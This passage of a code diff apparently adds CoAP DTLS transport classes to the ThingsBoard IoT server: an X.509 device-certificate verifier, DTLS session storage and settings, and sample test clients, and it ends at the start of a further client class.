31 | +import org.springframework.util.StringUtils; | |
32 | +import org.thingsboard.server.common.data.DeviceProfile; | |
33 | +import org.thingsboard.server.common.data.DeviceTransportType; | |
34 | +import org.thingsboard.server.common.msg.EncryptionUtil; | |
35 | +import org.thingsboard.server.common.transport.TransportService; | |
36 | +import org.thingsboard.server.common.transport.TransportServiceCallback; | |
37 | +import org.thingsboard.server.common.transport.auth.SessionInfoCreator; | |
38 | +import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; | |
39 | +import org.thingsboard.server.common.transport.util.SslUtil; | |
40 | +import org.thingsboard.server.gen.transport.TransportProtos; | |
41 | +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; | |
42 | + | |
43 | +import javax.security.auth.x500.X500Principal; | |
44 | +import java.security.cert.CertPath; | |
45 | +import java.security.cert.CertificateEncodingException; | |
46 | +import java.security.cert.CertificateExpiredException; | |
47 | +import java.security.cert.CertificateNotYetValidException; | |
48 | +import java.security.cert.X509Certificate; | |
49 | +import java.util.Collections; | |
50 | +import java.util.List; | |
51 | +import java.util.UUID; | |
52 | +import java.util.concurrent.ConcurrentMap; | |
53 | +import java.util.concurrent.CountDownLatch; | |
54 | +import java.util.concurrent.TimeUnit; | |
55 | + | |
56 | +@Slf4j | |
57 | +@Data | |
58 | +public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier { | |
59 | + | |
60 | + private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage; | |
61 | + | |
62 | + private TransportService transportService; | |
63 | + private TbServiceInfoProvider serviceInfoProvider; | |
64 | + private boolean skipValidityCheckForClientCert; | |
65 | + | |
66 | + public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) { | |
67 | + this.transportService = transportService; | |
68 | + this.serviceInfoProvider = serviceInfoProvider; | |
69 | + this.skipValidityCheckForClientCert = skipValidityCheckForClientCert; | |
70 | + this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout); | |
71 | + } | |
72 | + | |
73 | + @Override | |
74 | + public List<CertificateType> getSupportedCertificateType() { | |
75 | + return Collections.singletonList(CertificateType.X_509); | |
76 | + } | |
77 | + | |
78 | + @Override | |
79 | + public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) { | |
80 | + try { | |
81 | + String credentialsBody = null; | |
82 | + CertPath certpath = message.getCertificateChain(); | |
83 | + X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]); | |
84 | + for (X509Certificate cert : chain) { | |
85 | + try { | |
86 | + if (!skipValidityCheckForClientCert) { | |
87 | + cert.checkValidity(); | |
88 | + } | |
89 | + String strCert = SslUtil.getCertificateString(cert); | |
90 | + String sha3Hash = EncryptionUtil.getSha3Hash(strCert); | |
91 | + final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1]; | |
92 | + CountDownLatch latch = new CountDownLatch(1); | |
93 | + transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(), | |
94 | + new TransportServiceCallback<>() { | |
95 | + @Override | |
96 | + public void onSuccess(ValidateDeviceCredentialsResponse msg) { | |
97 | + if (!StringUtils.isEmpty(msg.getCredentials())) { | |
98 | + deviceCredentialsResponse[0] = msg; | |
99 | + } | |
100 | + latch.countDown(); | |
101 | + } | |
102 | + | |
103 | + @Override | |
104 | + public void onError(Throwable e) { | |
105 | + log.error(e.getMessage(), e); | |
106 | + latch.countDown(); | |
107 | + } | |
108 | + }); | |
109 | + latch.await(10, TimeUnit.SECONDS); | |
110 | + ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0]; | |
111 | + if (msg != null && strCert.equals(msg.getCredentials())) { | |
112 | + credentialsBody = msg.getCredentials(); | |
113 | + DeviceProfile deviceProfile = msg.getDeviceProfile(); | |
114 | + if (msg.hasDeviceInfo() && deviceProfile != null) { | |
115 | + TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID()); | |
116 | + tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile)); | |
117 | + } | |
118 | + break; | |
119 | + } | |
120 | + } catch (InterruptedException | | |
121 | + CertificateEncodingException | | |
122 | + CertificateExpiredException | | |
123 | + CertificateNotYetValidException e) { | |
124 | + log.error(e.getMessage(), e); | |
125 | + } | |
126 | + } | |
127 | + if (credentialsBody == null) { | |
128 | + AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE, | |
129 | + session.getPeer()); | |
130 | + throw new HandshakeException("Certificate chain could not be validated", alert); | |
131 | + } else { | |
132 | + return new CertificateVerificationResult(cid, certpath, null); | |
133 | + } | |
134 | + } catch (HandshakeException e) { | |
135 | + log.trace("Certificate validation failed!", e); | |
136 | + return new CertificateVerificationResult(cid, e, null); | |
137 | + } | |
138 | + } | |
139 | + | |
140 | + @Override | |
141 | + public List<X500Principal> getAcceptedIssuers() { | |
142 | + return CertPathUtil.toSubjects(null); | |
143 | + } | |
144 | + | |
145 | + @Override | |
146 | + public void setResultHandler(HandshakeResultHandler resultHandler) { | |
147 | + // empty implementation | |
148 | + } | |
149 | + | |
150 | + public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() { | |
151 | + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap(); | |
152 | + } | |
153 | + | |
154 | + public void evictTimeoutSessions() { | |
155 | + tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions(); | |
156 | + } | |
157 | + | |
158 | + public long getDtlsSessionReportTimeout() { | |
159 | + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout(); | |
160 | + } | |
161 | +} | |
\ No newline at end of file | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.transport.coap; | |
17 | + | |
18 | +import lombok.Data; | |
19 | +import lombok.extern.slf4j.Slf4j; | |
20 | + | |
21 | +import java.util.concurrent.ConcurrentHashMap; | |
22 | +import java.util.concurrent.ConcurrentMap; | |
23 | + | |
24 | +@Slf4j | |
25 | +@Data | |
26 | +public class TbCoapDtlsSessionInMemoryStorage { | |
27 | + | |
28 | + private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>(); | |
29 | + private long dtlsSessionInactivityTimeout; | |
30 | + private long dtlsSessionReportTimeout; | |
31 | + | |
32 | + | |
33 | + public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) { | |
34 | + this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout; | |
35 | + this.dtlsSessionReportTimeout = dtlsSessionReportTimeout; | |
36 | + } | |
37 | + | |
38 | + public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) { | |
39 | + log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime()); | |
40 | + dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo); | |
41 | + } | |
42 | + | |
43 | + public void evictTimeoutSessions() { | |
44 | + long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout; | |
45 | + dtlsSessionIdMap.entrySet().removeIf(entry -> { | |
46 | + if (entry.getValue().getLastActivityTime() < expTime) { | |
47 | + log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey()); | |
48 | + return true; | |
49 | + } else { | |
50 | + return false; | |
51 | + } | |
52 | + }); | |
53 | + } | |
54 | + | |
55 | +} | |
\ No newline at end of file | ... | ... |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSessionInfo.java
0 → 100644
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.transport.coap; | |
17 | + | |
18 | +import lombok.Data; | |
19 | +import org.thingsboard.server.common.data.DeviceProfile; | |
20 | +import org.thingsboard.server.gen.transport.TransportProtos; | |
21 | + | |
22 | +@Data | |
23 | +public class TbCoapDtlsSessionInfo { | |
24 | + | |
25 | + private TransportProtos.SessionInfoProto sessionInfoProto; | |
26 | + private DeviceProfile deviceProfile; | |
27 | + private long lastActivityTime; | |
28 | + | |
29 | + | |
30 | + public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) { | |
31 | + this.sessionInfoProto = sessionInfoProto; | |
32 | + this.deviceProfile = deviceProfile; | |
33 | + this.lastActivityTime = System.currentTimeMillis(); | |
34 | + } | |
35 | +} | |
\ No newline at end of file | ... | ... |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSettings.java
0 → 100644
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.transport.coap; | |
17 | + | |
18 | +import com.google.common.io.Resources; | |
19 | +import lombok.extern.slf4j.Slf4j; | |
20 | +import org.eclipse.californium.elements.util.SslContextUtil; | |
21 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | |
22 | +import org.eclipse.californium.scandium.dtls.CertificateType; | |
23 | +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; | |
24 | +import org.springframework.beans.factory.annotation.Autowired; | |
25 | +import org.springframework.beans.factory.annotation.Value; | |
26 | +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; | |
27 | +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; | |
28 | +import org.springframework.stereotype.Component; | |
29 | +import org.thingsboard.server.common.transport.TransportService; | |
30 | +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; | |
31 | + | |
32 | +import java.io.IOException; | |
33 | +import java.net.InetAddress; | |
34 | +import java.net.InetSocketAddress; | |
35 | +import java.net.UnknownHostException; | |
36 | +import java.security.GeneralSecurityException; | |
37 | +import java.security.cert.Certificate; | |
38 | +import java.util.Collections; | |
39 | +import java.util.Optional; | |
40 | + | |
41 | +@Slf4j | |
42 | +@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false) | |
43 | +@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')") | |
44 | +@Component | |
45 | +public class TbCoapDtlsSettings { | |
46 | + | |
47 | + @Value("${transport.coap.bind_address}") | |
48 | + private String host; | |
49 | + | |
50 | + @Value("${transport.coap.bind_port}") | |
51 | + private Integer port; | |
52 | + | |
53 | + @Value("${transport.coap.dtls.mode}") | |
54 | + private String mode; | |
55 | + | |
56 | + @Value("${transport.coap.dtls.key_store}") | |
57 | + private String keyStoreFile; | |
58 | + | |
59 | + @Value("${transport.coap.dtls.key_store_password}") | |
60 | + private String keyStorePassword; | |
61 | + | |
62 | + @Value("${transport.coap.dtls.key_password}") | |
63 | + private String keyPassword; | |
64 | + | |
65 | + @Value("${transport.coap.dtls.key_alias}") | |
66 | + private String keyAlias; | |
67 | + | |
68 | + @Value("${transport.coap.dtls.skip_validity_check_for_client_cert}") | |
69 | + private boolean skipValidityCheckForClientCert; | |
70 | + | |
71 | + @Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}") | |
72 | + private long dtlsSessionInactivityTimeout; | |
73 | + | |
74 | + @Value("${transport.coap.dtls.x509.dtls_session_report_timeout}") | |
75 | + private long dtlsSessionReportTimeout; | |
76 | + | |
77 | + @Autowired | |
78 | + private TransportService transportService; | |
79 | + | |
80 | + @Autowired | |
81 | + private TbServiceInfoProvider serviceInfoProvider; | |
82 | + | |
83 | + public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException { | |
84 | + Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode); | |
85 | + if (securityModeOpt.isEmpty()) { | |
86 | + log.warn("Incorrect configuration of securityMode {}", mode); | |
87 | + throw new RuntimeException("Failed to parse mode property: " + mode + "!"); | |
88 | + } else { | |
89 | + DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder(); | |
90 | + configBuilder.setAddress(getInetSocketAddress()); | |
91 | + String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath(); | |
92 | + SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath); | |
93 | + SecurityMode securityMode = securityModeOpt.get(); | |
94 | + if (securityMode.equals(SecurityMode.NO_AUTH)) { | |
95 | + configBuilder.setClientAuthenticationRequired(false); | |
96 | + configBuilder.setServerOnly(true); | |
97 | + } else { | |
98 | + configBuilder.setAdvancedCertificateVerifier( | |
99 | + new TbCoapDtlsCertificateVerifier( | |
100 | + transportService, | |
101 | + serviceInfoProvider, | |
102 | + dtlsSessionInactivityTimeout, | |
103 | + dtlsSessionReportTimeout, | |
104 | + skipValidityCheckForClientCert | |
105 | + ) | |
106 | + ); | |
107 | + } | |
108 | + configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), | |
109 | + Collections.singletonList(CertificateType.X_509)); | |
110 | + return configBuilder.build(); | |
111 | + } | |
112 | + } | |
113 | + | |
114 | + private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) { | |
115 | + try { | |
116 | + return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(), | |
117 | + keyPassword.toCharArray()); | |
118 | + } catch (GeneralSecurityException | IOException e) { | |
119 | + throw new RuntimeException("Failed to load serverCredentials due to: ", e); | |
120 | + } | |
121 | + } | |
122 | + | |
123 | + private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) { | |
124 | + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); | |
125 | + try { | |
126 | + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( | |
127 | + keyStoreFilePath, keyAlias, | |
128 | + keyStorePassword.toCharArray()); | |
129 | + trustBuilder.setTrustedCertificates(trustedCertificates); | |
130 | + if (trustBuilder.hasTrusts()) { | |
131 | + config.setAdvancedCertificateVerifier(trustBuilder.build()); | |
132 | + } | |
133 | + } catch (GeneralSecurityException | IOException e) { | |
134 | + throw new RuntimeException("Failed to load trusted certificates due to: ", e); | |
135 | + } | |
136 | + } | |
137 | + | |
138 | + private InetSocketAddress getInetSocketAddress() throws UnknownHostException { | |
139 | + InetAddress addr = InetAddress.getByName(host); | |
140 | + return new InetSocketAddress(addr, port); | |
141 | + } | |
142 | + | |
143 | + private enum SecurityMode { | |
144 | + X509, | |
145 | + NO_AUTH; | |
146 | + | |
147 | + static Optional<SecurityMode> parse(String name) { | |
148 | + SecurityMode mode = null; | |
149 | + if (name != null) { | |
150 | + for (SecurityMode securityMode : SecurityMode.values()) { | |
151 | + if (securityMode.name().equalsIgnoreCase(name)) { | |
152 | + mode = securityMode; | |
153 | + break; | |
154 | + } | |
155 | + } | |
156 | + } | |
157 | + return Optional.ofNullable(mode); | |
158 | + } | |
159 | + | |
160 | + } | |
161 | + | |
162 | +} | |
\ No newline at end of file | ... | ... |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/NoSecClient.java
0 → 100644
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.transport.coap.client; | |
17 | + | |
18 | +import org.eclipse.californium.core.CoapClient; | |
19 | +import org.eclipse.californium.core.CoapResponse; | |
20 | +import org.eclipse.californium.core.Utils; | |
21 | +import org.eclipse.californium.elements.DtlsEndpointContext; | |
22 | +import org.eclipse.californium.elements.EndpointContext; | |
23 | +import org.eclipse.californium.elements.exception.ConnectorException; | |
24 | + | |
25 | +import java.io.IOException; | |
26 | +import java.net.URI; | |
27 | +import java.net.URISyntaxException; | |
28 | +import java.security.Principal; | |
29 | +import java.util.concurrent.ExecutorService; | |
30 | +import java.util.concurrent.Executors; | |
31 | + | |
32 | +public class NoSecClient { | |
33 | + | |
34 | + private ExecutorService executor = Executors.newFixedThreadPool(1); | |
35 | + private CoapClient coapClient; | |
36 | + | |
37 | + public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { | |
38 | + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); | |
39 | + this.coapClient = new CoapClient(uri); | |
40 | + } | |
41 | + | |
42 | + public void test() { | |
43 | + executor.submit(() -> { | |
44 | + try { | |
45 | + while (!Thread.interrupted()) { | |
46 | + CoapResponse response = null; | |
47 | + try { | |
48 | + response = coapClient.get(); | |
49 | + } catch (ConnectorException | IOException e) { | |
50 | + System.err.println("Error occurred while sending request: " + e); | |
51 | + System.exit(-1); | |
52 | + } | |
53 | + if (response != null) { | |
54 | + | |
55 | + System.out.println(response.getCode() + " - " + response.getCode().name()); | |
56 | + System.out.println(response.getOptions()); | |
57 | + System.out.println(response.getResponseText()); | |
58 | + System.out.println(); | |
59 | + System.out.println("ADVANCED:"); | |
60 | + EndpointContext context = response.advanced().getSourceContext(); | |
61 | + Principal identity = context.getPeerIdentity(); | |
62 | + if (identity != null) { | |
63 | + System.out.println(context.getPeerIdentity()); | |
64 | + } else { | |
65 | + System.out.println("anonymous"); | |
66 | + } | |
67 | + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); | |
68 | + System.out.println(Utils.prettyPrint(response)); | |
69 | + } else { | |
70 | + System.out.println("No response received."); | |
71 | + } | |
72 | + Thread.sleep(5000); | |
73 | + } | |
74 | + } catch (Exception e) { | |
75 | + System.out.println("Error occurred while sending COAP requests."); | |
76 | + } | |
77 | + }); | |
78 | + } | |
79 | + | |
80 | + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { | |
81 | + return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; | |
82 | + } | |
83 | + | |
84 | + public static void main(String[] args) throws URISyntaxException { | |
85 | + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " + | |
86 | + "host port accessToken clientKeys sharedKeys"); | |
87 | + | |
88 | + String host = args[0]; | |
89 | + int port = Integer.parseInt(args[1]); | |
90 | + String accessToken = args[2]; | |
91 | + String clientKeys = args[3]; | |
92 | + String sharedKeys = args[4]; | |
93 | + | |
94 | + NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys); | |
95 | + client.test(); | |
96 | + } | |
97 | +} | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.transport.coap.client; | |
17 | + | |
18 | +import org.eclipse.californium.core.CoapClient; | |
19 | +import org.eclipse.californium.core.CoapResponse; | |
20 | +import org.eclipse.californium.core.Utils; | |
21 | +import org.eclipse.californium.core.network.CoapEndpoint; | |
22 | +import org.eclipse.californium.elements.DtlsEndpointContext; | |
23 | +import org.eclipse.californium.elements.EndpointContext; | |
24 | +import org.eclipse.californium.elements.exception.ConnectorException; | |
25 | +import org.eclipse.californium.elements.util.SslContextUtil; | |
26 | +import org.eclipse.californium.scandium.DTLSConnector; | |
27 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | |
28 | +import org.eclipse.californium.scandium.dtls.CertificateType; | |
29 | +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; | |
30 | + | |
31 | +import java.io.IOException; | |
32 | +import java.net.URI; | |
33 | +import java.net.URISyntaxException; | |
34 | +import java.security.GeneralSecurityException; | |
35 | +import java.security.Principal; | |
36 | +import java.security.cert.Certificate; | |
37 | +import java.util.Collections; | |
38 | +import java.util.concurrent.ExecutorService; | |
39 | +import java.util.concurrent.Executors; | |
40 | + | |
41 | +public class SecureClientNoAuth { | |
42 | + | |
43 | + private final DTLSConnector dtlsConnector; | |
44 | + private ExecutorService executor = Executors.newFixedThreadPool(1); | |
45 | + private CoapClient coapClient; | |
46 | + | |
47 | + public SecureClientNoAuth(DTLSConnector dtlsConnector, String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { | |
48 | + this.dtlsConnector = dtlsConnector; | |
49 | + this.coapClient = getCoapClient(host, port, accessToken, clientKeys, sharedKeys); | |
50 | + } | |
51 | + | |
52 | + public void test() { | |
53 | + executor.submit(() -> { | |
54 | + try { | |
55 | + while (!Thread.interrupted()) { | |
56 | + CoapResponse response = null; | |
57 | + try { | |
58 | + response = coapClient.get(); | |
59 | + } catch (ConnectorException | IOException e) { | |
60 | + System.err.println("Error occurred while sending request: " + e); | |
61 | + System.exit(-1); | |
62 | + } | |
63 | + if (response != null) { | |
64 | + | |
65 | + System.out.println(response.getCode() + " - " + response.getCode().name()); | |
66 | + System.out.println(response.getOptions()); | |
67 | + System.out.println(response.getResponseText()); | |
68 | + System.out.println(); | |
69 | + System.out.println("ADVANCED:"); | |
70 | + EndpointContext context = response.advanced().getSourceContext(); | |
71 | + Principal identity = context.getPeerIdentity(); | |
72 | + if (identity != null) { | |
73 | + System.out.println(context.getPeerIdentity()); | |
74 | + } else { | |
75 | + System.out.println("anonymous"); | |
76 | + } | |
77 | + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); | |
78 | + System.out.println(Utils.prettyPrint(response)); | |
79 | + } else { | |
80 | + System.out.println("No response received."); | |
81 | + } | |
82 | + Thread.sleep(5000); | |
83 | + } | |
84 | + } catch (Exception e) { | |
85 | + System.out.println("Error occurred while sending COAP requests."); | |
86 | + } | |
87 | + }); | |
88 | + } | |
89 | + | |
90 | + private CoapClient getCoapClient(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { | |
91 | + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); | |
92 | + CoapClient client = new CoapClient(uri); | |
93 | + CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); | |
94 | + builder.setConnector(dtlsConnector); | |
95 | + | |
96 | + client.setEndpoint(builder.build()); | |
97 | + return client; | |
98 | + } | |
99 | + | |
100 | + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { | |
101 | + return "coaps://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; | |
102 | + } | |
103 | + | |
104 | + public static void main(String[] args) throws URISyntaxException { | |
105 | + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientNoAuth " + | |
106 | + "host port accessToken keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); | |
107 | + | |
108 | + String host = args[0]; | |
109 | + int port = Integer.parseInt(args[1]); | |
110 | + String accessToken = args[2]; | |
111 | + String clientKeys = args[7]; | |
112 | + String sharedKeys = args[8]; | |
113 | + | |
114 | + String keyStoreUriPath = args[3]; | |
115 | + String keyStoreAlias = args[4]; | |
116 | + String trustedAliasPattern = args[5]; | |
117 | + String keyStorePassword = args[6]; | |
118 | + | |
119 | + | |
120 | + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); | |
121 | + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); | |
122 | + DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); | |
123 | + SecureClientNoAuth client = new SecureClientNoAuth(dtlsConnector, host, port, accessToken, clientKeys, sharedKeys); | |
124 | + client.test(); | |
125 | + } | |
126 | + | |
127 | + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { | |
128 | + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); | |
129 | + try { | |
130 | + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( | |
131 | + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); | |
132 | + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( | |
133 | + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); | |
134 | + trustBuilder.setTrustedCertificates(trustedCertificates); | |
135 | + config.setAdvancedCertificateVerifier(trustBuilder.build()); | |
136 | + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); | |
137 | + } catch (GeneralSecurityException e) { | |
138 | + System.err.println("certificates are invalid!"); | |
139 | + throw new IllegalArgumentException(e.getMessage()); | |
140 | + } catch (IOException e) { | |
141 | + System.err.println("certificates are missing!"); | |
142 | + throw new IllegalArgumentException(e.getMessage()); | |
143 | + } | |
144 | + } | |
145 | +} | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.transport.coap.client; | |
17 | + | |
18 | +import org.eclipse.californium.core.CoapClient; | |
19 | +import org.eclipse.californium.core.CoapResponse; | |
20 | +import org.eclipse.californium.core.Utils; | |
21 | +import org.eclipse.californium.core.network.CoapEndpoint; | |
22 | +import org.eclipse.californium.elements.DtlsEndpointContext; | |
23 | +import org.eclipse.californium.elements.EndpointContext; | |
24 | +import org.eclipse.californium.elements.exception.ConnectorException; | |
25 | +import org.eclipse.californium.elements.util.SslContextUtil; | |
26 | +import org.eclipse.californium.scandium.DTLSConnector; | |
27 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | |
28 | +import org.eclipse.californium.scandium.dtls.CertificateType; | |
29 | +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; | |
30 | + | |
31 | +import java.io.IOException; | |
32 | +import java.net.URI; | |
33 | +import java.net.URISyntaxException; | |
34 | +import java.security.GeneralSecurityException; | |
35 | +import java.security.Principal; | |
36 | +import java.security.cert.Certificate; | |
37 | +import java.util.Collections; | |
38 | +import java.util.concurrent.ExecutorService; | |
39 | +import java.util.concurrent.Executors; | |
40 | + | |
41 | +public class SecureClientX509 { | |
42 | + | |
